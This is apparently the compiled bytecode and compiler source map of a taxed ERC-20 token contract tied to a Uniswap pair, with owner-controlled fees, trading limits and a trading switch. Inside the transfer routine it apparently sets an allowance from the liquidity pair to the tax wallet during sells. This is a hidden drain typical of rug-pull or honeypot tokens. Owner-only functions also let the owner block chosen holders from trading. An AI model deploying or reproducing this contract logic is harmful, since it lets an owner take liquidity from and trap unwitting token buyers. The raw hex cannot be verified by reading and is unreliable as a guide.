565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac91906119dc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061a91906119dc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6106496009600a6119b7565b610658906461f313f8806119c5565b905090565b5f610669848484610c59565b6106b584336104b085604051806060016040528060288152602001611b24602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611323565b5060019392505050565b5f546001600160a01b031633146106e85760405162461bcd60e51b815260040161045d9061188e565b601454600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045d565b6013546001600160a01b031663f305d7194730610773816001600160a01b03165f9081526001602052604090205490565b5f806107865f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ec573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061081191906119f7565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610866573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088a9190611a22565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108cd5760405162461bcd60e51b815260040161045d9061188e565b5f5b8151811015610927575f60045f8484815181106108ee576108ee611a41565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016108cf565b5050565b5f546001600160a01b031633146109545760405162461bcd60e51b815260040161045d9061188e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109c55760405162461bcd60e51b815260040161045d9061188e565b6109d16009600a6119b7565b6109e0906461f313f8806119c5565b6006556109ef6009600a6119b7565b6109fe906461f313f8806119c5565b6007557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a2e6009600a6119b7565b610a3d906461f313f8806119c5565b60405190815260200160405180910390a1565b5f61042a338484610c59565b5f546001600160a01b03163314610a855760405162461bcd60e51b815260040161045d9061188e565b5f5b815181101561092757600160045f848481518110610aa757610aa7611a41565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a87565b5f546001600160a01b03163314610b095760405162461bcd60e51b815260040161045d9061188e565b60405133904780156108fc02915f818181858888f19350505050158015610b32573d5f803e3d5ffd5b50565b6001600160a01b038316610b975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610bf85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cbd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045d565b6001600160a01b038216610d1f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b5f8111610d805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045d565b601454600160b01b900460ff161580610da25750601454600160a81b900460ff165b15610e4c576001600160a01b0383165f90815260016020526040902054610dca908290611a55565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610df9908290611a68565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4c9085815260200190565b5f80546001600160a01b03858116911614801590610e7757505f546001600160a01b03848116911614155b156111cd5760125415610e8957506011545b6001600160a01b0384165f9081526004602052604090205460ff16158015610ec957506001600160a01b0383165f9081526004602052604090205460ff16155b610ed1575f80fd5b6012545f03610ef457600e5460125411610eed57600a54610ef1565b600c545b90505b6014546001600160a01b038581169116148015610f1f57506013546001600160a01b03848116911614155b8015610f4357506001600160a01b0383165f9081526003602052604090205460ff16155b1561104257600654821115610f9a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045d565b60075482610fbc856001600160a01b03165f9081526001602052604090205490565b610fc69190611a68565b11156110145760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045d565b600e546012541161102757600a5461102b565b600c545b601280549192505f61103c83611a7b565b91905055505b6014546001600160a01b03848116911614801561106857506001600160a01b0384163014155b1561111457600f546012541161108057600b54611084565b600d545b604080518082019091526001600160a01b03808616825260055416602082015290915061111490836110fa576008546110be90606461135b565b6110ca906161a86119c5565b81516001600160a01b039081165f9081526002602090815260408083209582015190931682529390935290912055565b60065461110890603261135b565b6110ca90612ee06119c5565b305f90815260016020526040902054601454600160a81b900460ff1615801561114a57506014546001600160a01b038581169116145b801561115f5750601454600160b01b900460ff165b156111cb57601654431115611173575f6015555b600854811180156111875750601054601254115b156111a9576111a96111a48461119f846009546113c0565b6113c0565b6113d4565b6111b247611544565b60158054905f6111c183611a7b565b9091555050436016555b505b5f6111e360646111dd848661157b565b906115f9565b9050811561125d57305f90815260016020526040902054611204908261135b565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112549085815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461127f908461163a565b6001600160a01b0386165f908152600160205260409020556112c26112a4848361163a565b6001600160a01b0386165f908152600160205260409020549061135b565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61130b868561163a565b60405190815260200160405180910390a35050505050565b5f81848411156113465760405162461bcd60e51b815260040161045d91906116a7565b505f6113528486611a55565b95945050505050565b5f806113678385611a68565b9050838110156113b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045d565b9392505050565b5f8183116113ce57826113b9565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061141a5761141a611a41565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611471573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149591906119dc565b816001815181106114a8576114a8611a41565b6001600160a01b0392831660209182029290920101526013546114ce9130911684610b35565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115069085905f90869030904290600401611a93565b5f604051808303815f87803b15801561151d575f80fd5b505af115801561152f573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610927573d5f803e3d5ffd5b5f825f0361158a57505f61042e565b5f61159583856119c5565b9050826115a28583611b04565b146113b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045d565b5f6113b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167b565b5f6113b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611323565b5f818361169b5760405162461bcd60e51b815260040161045d91906116a7565b505f6113528486611b04565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b32575f80fd5b80356116fb816116dc565b919050565b5f8060408385031215611711575f80fd5b823561171c816116dc565b946020939093013593505050565b5f805f6060848603121561173c575f80fd5b8335611747816116dc565b92506020840135611757816116dc565b929592945050506040919091013590565b5f60208284031215611778575f80fd5b81356113b9816116dc565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117a8575f80fd5b823567ffffffffffffffff808211156117bf575f80fd5b818501915085601f8301126117d2575f80fd5b8135818111156117e4576117e4611783565b8060051b604051601f19603f8301168101818110858211171561180957611809611783565b604052918252848201925083810185019188831115611826575f80fd5b938501935b8285101561184b5761183c856116f0565b8452938501939285019261182b565b98975050505050505050565b5f8060408385031215611868575f80fd5b8235611873816116dc565b91506020830135611883816116dc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561191157815f19048211156118f7576118f76118c3565b8085161561190457918102915b93841c93908002906118dc565b509250929050565b5f826119275750600161042e565b8161193357505f61042e565b816001811461194957600281146119535761196f565b600191505061042e565b60ff841115611964576119646118c3565b50506001821b61042e565b5060208310610133831016604e8410600b8410161715611992575081810a61042e565b61199c83836118d7565b805f19048211156119af576119af6118c3565b029392505050565b5f6113b960ff841683611919565b808202811582820484141761042e5761042e6118c3565b5f602082840312156119ec575f80fd5b81516113b9816116dc565b5f805f60608486031215611a09575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a32575f80fd5b815180151581146113b9575f80fd5b634e487b7160e01b5f52603260045260245ffd5b8181038181111561042e5761042e6118c3565b8082018082111561042e5761042e6118c3565b5f60018201611a8c57611a8c6118c3565b5060010190565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611ae35784516001600160a01b031683529383019391830191600101611abe565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b1e57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220336891bda93105add3bf444e95246e3d226a04be777659774b1c55081a91a78964736f6c63430008190033
Deployed Bytecode Sourcemap
3564:8552:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5912:83;;;;;;;;;;-1:-1:-1;5982:5:0;;;;;;;;;;;;-1:-1:-1;;;5982:5:0;;;;5912:83;;;;;;;:::i;:::-;;;;;;;;6867:161;;;;;;;;;;-1:-1:-1;6867:161:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;6867:161:0;1032:187:1;5532:374:0;;;;;;;;;;;;;:::i;:::-;;4307:46;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;4307:46:0;1224:177:1;6183:95:0;;;;;;;;;;;;;:::i;7034:313::-;;;;;;;;;;-1:-1:-1;7034:313:0;;;;;:::i;:::-;;:::i;11641:472::-;;;;;;;;;;;;;:::i;6094:83::-;;;;;;;;;;-1:-1:-1;6094:83:0;;3956:1;2009:36:1;;1997:2;1982:18;6094:83:0;1867:184:1;11517:83:0;;;;;;;;;;-1:-1:-1;11517:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;11585:7:0;11564:4;11585:7;;;:4;:7;;;;;;;;;11517:83;11353:158;;;;;;;;;;-1:-1:-1;11353:158:0;;;;;:::i;:::-;;:::i;6284:117::-;;;;;;;;;;-1:-1:-1;6284:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6377:16:0;6350:7;6377:16;;;:7;:16;;;;;;;6284:117;2773:148;;;;;;;;;;;;;:::i;10818:161::-;;;;;;;;;;;;;:::i;4138:47::-;;;;;;;;;;;;;;;;2559:79;;;;;;;;;;-1:-1:-1;2597:7:0;2624:6;2559:79;;-1:-1:-1;;;;;2624:6:0;;;3712:51:1;;3700:2;3685:18;2559:79:0;3566:203:1;4192:49:0;;;;;;;;;;;;;;;;6001:87;;;;;;;;;;-1:-1:-1;6073:7:0;;;;;;;;;;;;-1:-1:-1;;;6073:7:0;;;;6001:87;;6539:167;;;;;;;;;;-1:-1:-1;6539:167:0;;;;;:::i;:::-;;:::i;4248:52::-;;;;;;;;;;;;;;;;11187:160;;;;;;;;;;-1:-1:-1;11187:160:0;;;;;:::i;:::-;;:::i;10226:109::-;;;;;;;;;;;;;:::i;6712:143::-;;;;;;;;;;-1:-1:-1;6712:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6820:18:0;;;6793:7;6820:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6712:143;6867:161;6942:4;6959:39;2094:10;6982:7;6991:6;6959:8;:39::i;:::-;-1:-1:-1;7016:4:0;6867:161;;;;;:::o;5532:374::-;2686:6;;-1:-1:-1;;;;;2686:6:0;2094:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;;;;;;;;;5586:11:::1;:100:::0;;-1:-1:-1;;;;;;5586:100:0::1;5633:42;5586:100:::0;;::::1;::::0;;;5697:54:::1;::::0;5714:4:::1;::::0;4014:13:::1;3956:1;4014:2;:13;:::i;:::-;3999:28;::::0;:12:::1;:28;:::i;:::-;5697:8;:54::i;:::-;5792:11;;;;;;;;;-1:-1:-1::0;;;;;5792:11:0::1;-1:-1:-1::0;;;;;5792:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5774:51:0::1;;5848:4;5868:11;;;;;;;;;-1:-1:-1::0;;;;;5868:11:0::1;-1:-1:-1::0;;;;;5868:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5774:123;::::0;-1:-1:-1;;;;;;5774:123:0::1;::::0;;;;;;-1:-1:-1;;;;;6696:15:1;;;5774:123:0::1;::::0;::::1;6678:34:1::0;6748:15;;6728:18;;;6721:43;6613:18;;5774:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5762:9;:135:::0;;-1:-1:-1;;;;;;5762:135:0::1;-1:-1:-1::0;;;;;5762:135:0;;;::::1;::::0;;;::::1;::::0;;5532:374::o;6183:95::-;6236:7;4014:13;3956:1;4014:2;:13;:::i;:::-;3999:28;;:12;:28;:::i;:::-;6256:14;;6183:95;:::o;7034:313::-;7132:4;7149:36;7159:6;7167:9;7178:6;7149:9;:36::i;:::-;7196:121;7205:6;2094:10;7227:89;7265:6;7227:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7227:19:0;;;;;;:11;:19;;;;;;;;2094:10;7227:33;;;;;;;;;;:37;:89::i;7196:121::-;-1:-1:-1;7335:4:0;7034:313;;;;;:::o;11641:472::-;2686:6;;-1:-1:-1;;;;;2686:6:0;2094:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;11704:11:::1;::::0;-1:-1:-1;;;11704:11:0;::::1;;;11703:12;11695:48;;;::::0;-1:-1:-1;;;11695:48:0;;6977:2:1;11695:48:0::1;::::0;::::1;6959:21:1::0;7016:2;6996:18;;;6989:30;7055:25;7035:18;;;7028:53;7098:18;;11695:48:0::1;6775:347:1::0;11695:48:0::1;11754:11;::::0;-1:-1:-1;;;;;11754:11:0::1;:27;11789:21;11834:4;11854:24;11834:4:::0;-1:-1:-1;;;;;6377:16:0;6350:7;6377:16;;;:7;:16;;;;;;;6284:117;11854:24:::1;11893:1;11909::::0;11925:7:::1;2597::::0;2624:6;-1:-1:-1;;;;;2624:6:0;;2559:79;11925:7:::1;11754:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11754:219:0;;;-1:-1:-1;;;;;7486:15:1;;;11754:219:0::1;::::0;::::1;7468:34:1::0;7518:18;;;7511:34;;;;7561:18;;;7554:34;;;;7604:18;;;7597:34;7668:15;;;7647:19;;;7640:44;11947:15:0::1;7700:19:1::0;;;7693:35;7402:19;;11754:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11991:9:0::1;::::0;12018:11:::1;::::0;11984:63:::1;::::0;-1:-1:-1;;;11984:63:0;;-1:-1:-1;;;;;12018:11:0;;::::1;11984:63;::::0;::::1;8224:51:1::0;-1:-1:-1;;8291:18:1;;;8284:34;11991:9:0;::::1;::::0;-1:-1:-1;11984:25:0::1;::::0;8197:18:1;;11984:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12058:11:0::1;:18:::0;;-1:-1:-1;;;;12087:18:0;-1:-1:-1;;;12087:18:0;;;11641:472::o;11353:158::-;2686:6;;-1:-1:-1;;;;;2686:6:0;2094:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;11422:6:::1;11417:87;11438:6;:13;11434:1;:17;11417:87;;;11489:5;11471:4;:15;11476:6;11483:1;11476:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11471:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11471:15:0;:23;;-1:-1:-1;;11471:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11453:3:0::1;11417:87;;;;11353:158:::0;:::o;2773:148::-;2686:6;;-1:-1:-1;;;;;2686:6:0;2094:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;2880:1:::1;2864:6:::0;;2843:40:::1;::::0;-1:-1:-1;;;;;2864:6:0;;::::1;::::0;2843:40:::1;::::0;2880:1;;2843:40:::1;2911:1;2894:19:::0;;-1:-1:-1;;;;;;2894:19:0::1;::::0;;2773:148::o;10818:161::-;2686:6;;-1:-1:-1;;;;;2686:6:0;2094:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;4014:13:::1;3956:1;4014:2;:13;:::i;:::-;3999:28;::::0;:12:::1;:28;:::i;:::-;10871:12;:22:::0;4014:13:::1;3956:1;4014:2;:13;:::i;:::-;3999:28;::::0;:12:::1;:28;:::i;:::-;10904:14;:24:::0;10944:27:::1;4014:13;3956:1;4014:2;:13;:::i;:::-;3999:28;::::0;:12:::1;:28;:::i;:::-;10944:27;::::0;1370:25:1;;;1358:2;1343:18;10944:27:0::1;;;;;;;10818:161::o:0;6539:167::-;6617:4;6634:42;2094:10;6658:9;6669:6;6634:9;:42::i;11187:160::-;2686:6;;-1:-1:-1;;;;;2686:6:0;2094:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;11257:6:::1;11252:88;11273:5;:12;11269:1;:16;11252:88;;;11324:4;11307;:14;11312:5;11318:1;11312:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11307:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11307:14:0;:21;;-1:-1:-1;;11307:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11287:3:0::1;11252:88;;10226:109:::0;2686:6;;-1:-1:-1;;;;;2686:6:0;2094:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;10276:51:::1;::::0;10284:10:::1;::::0;10305:21:::1;10276:51:::0;::::1;;;::::0;::::1;::::0;;;10305:21;10284:10;10276:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10226:109::o:0;7353:335::-;-1:-1:-1;;;;;7446:19:0;;7438:68;;;;-1:-1:-1;;;7438:68:0;;8945:2:1;7438:68:0;;;8927:21:1;8984:2;8964:18;;;8957:30;9023:34;9003:18;;;8996:62;-1:-1:-1;;;9074:18:1;;;9067:34;9118:19;;7438:68:0;8743:400:1;7438:68:0;-1:-1:-1;;;;;7525:21:0;;7517:68;;;;-1:-1:-1;;;7517:68:0;;9350:2:1;7517:68:0;;;9332:21:1;9389:2;9369:18;;;9362:30;9428:34;9408:18;;;9401:62;-1:-1:-1;;;9479:18:1;;;9472:32;9521:19;;7517:68:0;9148:398:1;7517:68:0;-1:-1:-1;;;;;7596:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7648:32;;1370:25:1;;;7648:32:0;;1343:18:1;7648:32:0;;;;;;;;7353:335;;;:::o;7694:2526::-;-1:-1:-1;;;;;7782:18:0;;7774:68;;;;-1:-1:-1;;;7774:68:0;;9753:2:1;7774:68:0;;;9735:21:1;9792:2;9772:18;;;9765:30;9831:34;9811:18;;;9804:62;-1:-1:-1;;;9882:18:1;;;9875:35;9927:19;;7774:68:0;9551:401:1;7774:68:0;-1:-1:-1;;;;;7861:16:0;;7853:64;;;;-1:-1:-1;;;7853:64:0;;10159:2:1;7853:64:0;;;10141:21:1;10198:2;10178:18;;;10171:30;10237:34;10217:18;;;10210:62;-1:-1:-1;;;10288:18:1;;;10281:33;10331:19;;7853:64:0;9957:399:1;7853:64:0;7945:1;7936:6;:10;7928:64;;;;-1:-1:-1;;;7928:64:0;;10563:2:1;7928:64:0;;;10545:21:1;10602:2;10582:18;;;10575:30;10641:34;10621:18;;;10614:62;-1:-1:-1;;;10692:18:1;;;10685:39;10741:19;;7928:64:0;10361:405:1;7928:64:0;8008:11;;-1:-1:-1;;;8008:11:0;;;;8007:12;;:22;;-1:-1:-1;8023:6:0;;-1:-1:-1;;;8023:6:0;;;;8007:22;8003:209;;;-1:-1:-1;;;;;8062:13:0;;;;;;:7;:13;;;;;;:22;;8078:6;;8062:22;:::i;:::-;-1:-1:-1;;;;;8046:13:0;;;;;;;:7;:13;;;;;;:38;;;;8113:11;;;;;;;:20;;8127:6;;8113:20;:::i;:::-;-1:-1:-1;;;;;8099:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8153:26;;;;;;;;;;8172:6;1370:25:1;;1358:2;1343:18;;1224:177;8003:209:0;8222:14;2624:6;;-1:-1:-1;;;;;8253:15:0;;;2624:6;;8253:15;;;;:32;;-1:-1:-1;2597:7:0;2624:6;-1:-1:-1;;;;;8272:13:0;;;2624:6;;8272:13;;8253:32;8249:1568;;;8305:9;;:11;8302:73;;-1:-1:-1;8346:12:0;;8302:73;-1:-1:-1;;;;;8398:10:0;;;;;;:4;:10;;;;;;;;8397:11;:24;;;;-1:-1:-1;;;;;;8413:8:0;;;;;;:4;:8;;;;;;;;8412:9;8397:24;8389:33;;;;;;8440:9;;8451:1;8440:12;8437:117;;8493:15;;8483:9;;:25;8482:55;;8523:14;;8482:55;;;8510:12;;8482:55;8472:66;;8437:117;8580:9;;-1:-1:-1;;;;;8572:17:0;;;8580:9;;8572:17;:47;;;;-1:-1:-1;8607:11:0;;-1:-1:-1;;;;;8593:26:0;;;8607:11;;8593:26;;8572:47;:75;;;;-1:-1:-1;;;;;;8625:22:0;;;;;;:18;:22;;;;;;;;8623:24;8572:75;8568:390;;;8687:12;;8677:6;:22;;8669:60;;;;-1:-1:-1;;;8669:60:0;;11236:2:1;8669:60:0;;;11218:21:1;11275:2;11255:18;;;11248:30;11314:27;11294:18;;;11287:55;11359:18;;8669:60:0;11034:349:1;8669:60:0;8782:14;;8772:6;8756:13;8766:2;-1:-1:-1;;;;;6377:16:0;6350:7;6377:16;;;:7;:16;;;;;;;6284:117;8756:13;:22;;;;:::i;:::-;:40;;8748:79;;;;-1:-1:-1;;;8748:79:0;;11590:2:1;8748:79:0;;;11572:21:1;11629:2;11609:18;;;11602:30;11668:28;11648:18;;;11641:56;11714:18;;8748:79:0;11388:350:1;8748:79:0;8867:15;;8857:9;;:25;8856:55;;8897:14;;8856:55;;;8884:12;;8856:55;8931:9;:11;;8846:66;;-1:-1:-1;8931:9:0;:11;;;:::i;:::-;;;;;;8568:390;8981:9;;-1:-1:-1;;;;;8975:15:0;;;8981:9;;8975:15;:39;;;;-1:-1:-1;;;;;;8994:20:0;;9009:4;8994:20;;8975:39;8972:260;;;9056:16;;9046:9;;:26;9045:58;;9088:15;;9045:58;;;9074:13;;9045:58;9123:93;;;;;;;;;-1:-1:-1;;;;;9123:93:0;;;;;9134:10;;;9123:93;;;;9035:69;;-1:-1:-1;9123:93:0;;9147:8;:68;;9183:17;;:26;;9205:3;9183:21;:26::i;:::-;:32;;9210:5;9183:32;:::i;:::-;6495:9;;-1:-1:-1;;;;;6483:22:0;;;;;;;:11;6495:9;6483:22;;;;;;;6506:9;;;;6483:33;;;;;;;;;;;;:42;6407:126;9147:68;9162:12;;:20;;9179:2;9162:16;:20::i;:::-;9156:26;;:5;:26;:::i;9123:93::-;9295:4;9246:28;6377:16;;;:7;:16;;;;;;9321:6;;-1:-1:-1;;;9321:6:0;;;;9320:7;:26;;;;-1:-1:-1;9337:9:0;;-1:-1:-1;;;;;9331:15:0;;;9337:9;;9331:15;9320:26;:41;;;;-1:-1:-1;9350:11:0;;-1:-1:-1;;;9350:11:0;;;;9320:41;9316:490;;;9401:13;;9386:12;:28;9382:90;;;9451:1;9439:9;:13;9382:90;9516:17;;9493:20;:40;:74;;;;;9549:18;;9537:9;;:30;9493:74;9490:169;;;9590:69;9607:51;9611:6;9619:38;9623:20;9645:11;;9619:3;:38::i;:::-;9607:3;:51::i;:::-;9590:16;:69::i;:::-;9678:35;9691:21;9678:12;:35::i;:::-;9732:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9778:12:0;9762:13;:28;9316:490;8287:1530;8249:1568;9827:17;9847:27;9870:3;9847:18;:6;9858;9847:10;:18::i;:::-;:22;;:27::i;:::-;9827:47;-1:-1:-1;9888:10:0;;9885:160;;9953:4;9937:22;;;;:7;:22;;;;;;:37;;9964:9;9937:26;:37::i;:::-;9930:4;9914:22;;;;:7;:22;;;;;;;:60;;;;9994:39;;-1:-1:-1;;;;;9994:39:0;;;;;;;10023:9;1370:25:1;;1358:2;1343:18;;1224:177;9994:39:0;;;;;;;;9885:160;-1:-1:-1;;;;;10069:13:0;;;;;;:7;:13;;;;;;:25;;10087:6;10069:17;:25::i;:::-;-1:-1:-1;;;;;10055:13:0;;;;;;:7;:13;;;;;:39;10117:38;10133:21;:6;10144:9;10133:10;:21::i;:::-;-1:-1:-1;;;;;10117:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;10105:11:0;;;;;;;:7;:11;;;;;:50;;;;10171:41;;;10190:21;:6;10201:9;10190:10;:21::i;:::-;10171:41;;1370:25:1;;;1358:2;1343:18;10171:41:0;;;;;;;7763:2457;;7694:2526;;;:::o;518:190::-;604:7;640:12;632:6;;;;624:29;;;;-1:-1:-1;;;624:29:0;;;;;;;;:::i;:::-;-1:-1:-1;664:9:0;676:5;680:1;676;:5;:::i;:::-;664:17;518:190;-1:-1:-1;;;;;518:190:0:o;187:179::-;245:7;;277:5;281:1;277;:5;:::i;:::-;265:17;;306:1;301;:6;;293:46;;;;-1:-1:-1;;;293:46:0;;12085:2:1;293:46:0;;;12067:21:1;12124:2;12104:18;;;12097:30;12163:29;12143:18;;;12136:57;12210:18;;293:46:0;11883:351:1;293:46:0;357:1;187:179;-1:-1:-1;;;187:179:0:o;10985:98::-;11042:7;11069:1;11067;:3;11066:9;;11074:1;11066:9;;;-1:-1:-1;11072:1:0;11059:16;-1:-1:-1;10985:98:0:o;10341:471::-;5117:6;:13;;-1:-1:-1;;;;5117:13:0;-1:-1:-1;;;5117:13:0;;;10443:16:::1;::::0;;10457:1:::1;10443:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10443:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10443:16:0::1;10419:40;;10488:4;10470;10475:1;10470:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10470:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10514:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10514:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10470:7;;10514:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10504:4;10509:1;10504:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10504:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10575:11:::1;::::0;10543:58:::1;::::0;10560:4:::1;::::0;10575:11:::1;10589::::0;10543:8:::1;:58::i;:::-;10612:11;::::0;:192:::1;::::0;-1:-1:-1;;;10612:192:0;;-1:-1:-1;;;;;10612:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10689:11;;10612::::1;::::0;10731:4;;10758::::1;::::0;10778:15:::1;::::0;10612:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5153:6:0;:14;;-1:-1:-1;;;;5153:14:0;;;-1:-1:-1;;;;10341:471:0:o;11089:92::-;11146:10;;:27;;-1:-1:-1;;;;;11146:10:0;;;;:27;;;;;11166:6;;11146:10;:27;:10;:27;11166:6;11146:10;:27;;;;;;;;;;;;;;;;;;;716:246;774:7;798:1;803;798:6;794:47;;-1:-1:-1;828:1:0;821:8;;794:47;851:9;863:5;867:1;863;:5;:::i